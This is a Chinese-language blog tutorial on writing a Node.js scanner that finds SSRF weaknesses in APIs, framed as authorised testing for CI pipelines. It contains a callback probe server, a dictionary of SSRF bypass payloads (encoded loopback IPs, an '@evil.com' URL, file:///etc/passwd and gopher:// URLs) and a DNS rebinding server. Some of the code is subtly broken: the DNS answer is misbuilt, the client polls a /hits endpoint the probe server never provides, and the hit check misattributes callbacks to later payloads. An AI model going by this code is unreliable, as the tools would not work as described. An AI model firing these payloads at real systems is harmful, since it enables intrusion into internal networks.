如何利用Node.js自动化检测API中的SSRF防护漏洞?

来源:Golang教程作者:上海GEO公司头衔:草根站长
导读:本期聚焦于上海GEO公司创作的《如何利用Node.js自动化检测API中的SSRF防护漏洞?》,敬请观看详情。SSRF是服务端请求伪造攻击的简称,攻击者可以通过它让服务器代替自己去访问内网资源,一旦防护缺失,轻则泄露敏感数据,重则导致整个内网沦陷。本文围绕Node.js环境,介绍如何编写一套自动化检测脚本,从常见攻击面入手,覆盖基础URL校验绕过、DNS重绑定、重定向跟踪、协议滥用等典型场景,并结合http、dns、net等内置模块实现完整的探测逻辑。文章还会分析各检测项的原理与误报处理思路,帮助你把这套脚本接入CI流水线,在接口上线前自动发现SSRF防护盲区。

SSRF(Server-Side Request Forgery,服务端请求伪造)是OWASP常年列入前十的高危漏洞类型。它的核心成因在于服务端在接收用户可控的URL或地址参数后,直接发起了网络请求,而没有严格校验目标地址的合法性。攻击者只需要在参数中填入内网IP、云元数据地址(如169.254.169.254)或本地管理端口,就能借服务器之手探测和访问内网资源。本文将基于Node.js编写一套自动化检测工具,系统性验证API接口的SSRF防护是否到位。

如何利用Node.js自动化检测API中的SSRF防护漏洞?

一、SSRF的攻击面与检测思路

要自动化检测SSRF,首先需要明确检测目标。典型的可疑参数包括url、callback、redirect、image、fetch、src、endpoint、host等字段名,或者是任何值为合法URL格式的参数。检测的基本方法是:构造指向受控探测地址的URL替换原始参数值,观察目标服务是否发起请求。如果探测服务器收到了请求,说明该接口存在SSRF漏洞且无基本防护。

更进一步的检测需要覆盖多种绕过手法。很多应用只做了简单的黑名单过滤,比如禁止访问127.0.0.1和localhost,这时就要测试十进制IP(2130706433)、十六进制IP(0x7f000001)、短格式IP(127.1)、IPv6回环(::1)、大小写混合域名(LOCALHOST)以及携带认证信息的URL(http://127.0.0.1@evil.com)等变体。一个完善的检测工具应该把这些payload做成字典,批量发送并统计结果。

除了直接请求,重定向也是一种常见的利用路径:目标接口可能对直接访问内网做了限制,但如果允许跟随302跳转,攻击者可以让外网地址先返回一个Location指向内网,从而绕过首层校验。检测工具需要专门验证“是否跟随重定向到内网地址”这一场景。

二、搭建探测回连服务

检测的前提是有一个能感知到“服务器来过”的回连端点。我们可以用Node.js快速实现一个HTTP探测服务,把每次收到的请求记录下来,并回传一个302重定向用于后续的重定向绕过测试。

const http = require('http');

const hits = []; // 记录所有回连事件

const server = http.createServer((req, res) => {
  hits.push({
    time: new Date().toISOString(),
    path: req.url,
    headers: req.headers
  });
  console.log(`[HIT] ${req.url} from ${req.socket.remoteAddress}`);

  // 重定向测试:把请求引导到内网地址
  if (req.url.startsWith('/redirect')) {
    res.writeHead(302, { Location: 'http://127.0.0.1:8080/internal' });
    res.end();
    return;
  }
  res.writeHead(200, { 'Content-Type': 'text/plain' });
  res.end('pong');
});

server.listen(9000, '0.0.0.0', () => {
  console.log('probe server on :9000');
});

这个探测服务监听在9000端口,任何指向它的请求都会被记录。其中/redirect路径返回302并指向内网地址,专门用来测试目标接口是否会跟随重定向访问内网。在实际部署时,探测服务应部署在公网VPS上,这样才能区分“目标服务器确实发起了外发请求”与本地网络抖动造成的干扰。

回连记录中的headers字段也很有价值。通过User-Agent可以判断请求是由curl、axios还是浏览器内核发出的,从而推断目标服务的实现技术栈,为后续选择更有针对性的绕过payload提供依据。

三、编写自动化检测客户端

接下来实现检测主逻辑:定义payload字典,逐个替换目标接口的可疑参数并发送请求,同时轮询探测服务的记录接口判断是否命中。为了便于判断,探测服务可以额外暴露一个/hits查询接口,客户端通过时间戳过滤新产生的回连事件。

const axios = require('axios');

const TARGET = 'https://target-api.example-removed.com/fetch';
const PROBE = 'http://probe-host:9000';

// 常见SSRF绕过payload,{PROBE}会被替换为探测地址
const payloads = [
  '{PROBE}/base',
  'http://127.0.0.1:9000@{PROBE}/auth-bypass',
  'http://2130706433:9000/decimal',
  'http://0x7f000001:9000/hex',
  'http://127.1:9000/short',
  'http://[::1]:9000/ipv6',
  'http://LOCALHOST.jh3sho.dns.{PROBE_HOST}/dns-rebind'
];

async function runDetection() {
  const start = Date.now();
  const base = new URL(PROBE);

  for (const tpl of payloads) {
    const payload = tpl
      .replace('{PROBE}', PROBE)
      .replace('{PROBE_HOST}', base.host);

    try {
      await axios.post(TARGET, { url: payload }, { timeout: 5000 });
      console.log(`sent: ${payload}`);
    } catch (e) {
      console.log(`send failed: ${payload} -> ${e.message}`);
    }

    // 等待并查询回连结果
    await new Promise(r => setTimeout(r, 1500));
    const { data: hits } = await axios.get(`${PROBE}/hits?since=${start}`);
    if (hits.length > 0) {
      console.log(`[VULNERABLE] payload "${payload}" triggered callback!`);
    }
  }
}

runDetection();

代码中每个payload发送后会等待1.5秒再查询回连记录,这是考虑到目标服务可能有请求排队或异步处理的延迟。如果业务允许,可以把等待时间做成可配置项,并在最终报告中标注每个payload的命中情况,输出一份结构化的JSON报告,方便接入CI流水线。

需要注意的是,timeout设置为5秒很重要。SSRF探测中目标接口经常因为访问不通的内网地址而长时间挂起,没有超时控制的话整个扫描流程会被拖垮。

四、DNS重绑定与进阶检测

对于做了IP解析校验的服务(先解析域名再判断是否为内网IP),DNS重绑定是最经典的绕过方式:让域名在第一次解析时返回公网IP通过校验,第二次解析(真正发请求时)返回127.0.0.1。实现方法是自建一个DNS服务器,对同一个域名交替返回不同结果。

const dns = require('dns');
const dgram = require('dgram');

const REBIND_DOMAIN = 'rb.example-test.net';
let toggle = false;

const server = dgram.createSocket('udp4');
server.on('message', (msg, rinfo) => {
  // 简化的DNS应答构造:交替返回公网IP与127.0.0.1
  const answerIP = (toggle = !toggle) ? '1.2.3.4' : '127.0.0.1';

  const domainParts = REBIND_DOMAIN.split('.');
  let q = Buffer.from([0xc0, 0x0c]); // 指针指向问题区域
  const rr = Buffer.alloc(16);
  rr.writeUInt16BE(0x0001, 0);  // TYPE A
  rr.writeUInt16BE(0x0001, 2);  // CLASS IN
  rr.writeUInt32BE(0, 4);       // TTL 0,禁止缓存
  rr.writeUInt16BE(4, 8);       // RDLENGTH
  rr.writeUInt32BE(
    parseInt(answerIP.split('.')[0]) * 16777216 +
    parseInt(answerIP.split('.')[1]) * 65536 +
    parseInt(answerIP.split('.')[2]) * 256 +
    parseInt(answerIP.split('.')[3]), 12);

  const response = Buffer.concat([msg.slice(0, 2), Buffer.from([0x81, 0x80]),
    msg.slice(4, 6), msg.slice(4, 6), Buffer.from([0, 0, 0, 0]), q, rr]);
  server.send(response, rinfo.port, rinfo.address);
});

server.bind(53, () => console.log('DNS rebinding server on :53'));

上面是一个极简的DNS应答实现,实际项目中建议直接使用dns-rebindit这类现成库,或者使用外部提供的重绑定服务域名。TTL设置为0是关键,它强制目标服务每次都重新解析,确保两次解析结果不一致。将重绑定域名作为payload发送给目标接口后,如果探测服务的内网端口收到请求,说明目标存在TOCTOU(检查与使用不一致)型SSRF漏洞。

另一个进阶场景是协议滥用。如果目标服务使用了curl或类似库,攻击者可能通过file:///etc/passwdgopher://等协议读取文件或构造任意TCP报文。检测时可以把这类URL也加入payload字典,通过观察接口返回内容是否包含文件特征(如root:x:0开头的字符串)来判断是否存在风险。

五、误报处理与工程化建议

自动化检测最大的挑战是误报。比如目标接口访问探测地址后立即报错,并不代表它对内网同样放行;反之,某些WAF会拦截外发请求导致漏报。降低误报的常用手段是多重验证:先用DNS日志确认目标发起了域名解析,再用HTTP回连确认请求到达,两个证据链同时成立才判定为漏洞。

在工程化方面,建议把检测脚本封装成标准的CLI工具,支持从OpenAPI文档自动提取含URL类型参数的接口清单,批量扫描并输出报告。同时务必只对自己拥有授权的系统进行测试,未经许可的SSRF扫描可能违反法律法规。扫描频率也要控制,避免对目标服务的出网带宽和连接池造成压力。

防护侧的对策同样值得了解,这有助于设计更全面的检测用例:严格限制允许请求的协议仅为HTTP/HTTPS、解析域名后校验真实IP是否属于内网段、禁用重定向或对每一跳重新校验、使用网络层隔离让应用服务器不具备直达内网的路由。只有当这些防护逐一被验证有效后,一个接口才能被认为是安全的。通过Node.js实现的这套自动化方案,可以让你在每次API变更时快速回归SSRF防护状态,把安全左移落到实处。

Node.jsSSRFAPI安全测试修改时间:2026-09-01 19:00:43

免责声明:​ 已尽一切努力确保本网站所含信息的准确性。网站内容多为原创整理与精心编撰,观点力求客观中立。本站旨在免费分享,内容仅供个人学习、研究或参考使用。若引用了第三方作品,版权归原作者所有。如内容涉及您的权益,请联系我们处理。
内容垂直聚焦
专注技术核心技术栏目,确保每篇文章深度聚焦于实用技能。从代码技巧到架构设计,为用户提供无干扰的纯技术知识沉淀,精准满足专业提升需求。
知识结构清晰
覆盖从开发到部署的全链路。AI、前端、编程、数据库、服务器、建站、系统层层递进,构建清晰学习路径,帮助用户系统化掌握开发与运维所需的核心技术。
深度技术解析
拒绝泛泛而谈,深入技术细节与实践难点。无论是数据库优化还是服务器配置,均结合真实场景与代码示例进行剖析,致力于提供可直接应用于工作的解决方案。
专业领域覆盖
精准对应开发生命周期。从前端界面到后端编程,从数据库操作到服务器运维,形成完整闭环,一站式满足全栈工程师和运维人员的技术需求。
即学即用高效
内容强调实操性,步骤清晰、代码完整。用户可根据教程直接复现和应用于自身项目,显著缩短从学习到实践的距离,快速解决开发中的具体问题。
持续更新保障
专注既定技术方向进行长期、稳定的内容输出。确保各栏目技术文章持续更新迭代,紧跟主流技术发展趋势,为用户提供经久不衰的学习价值。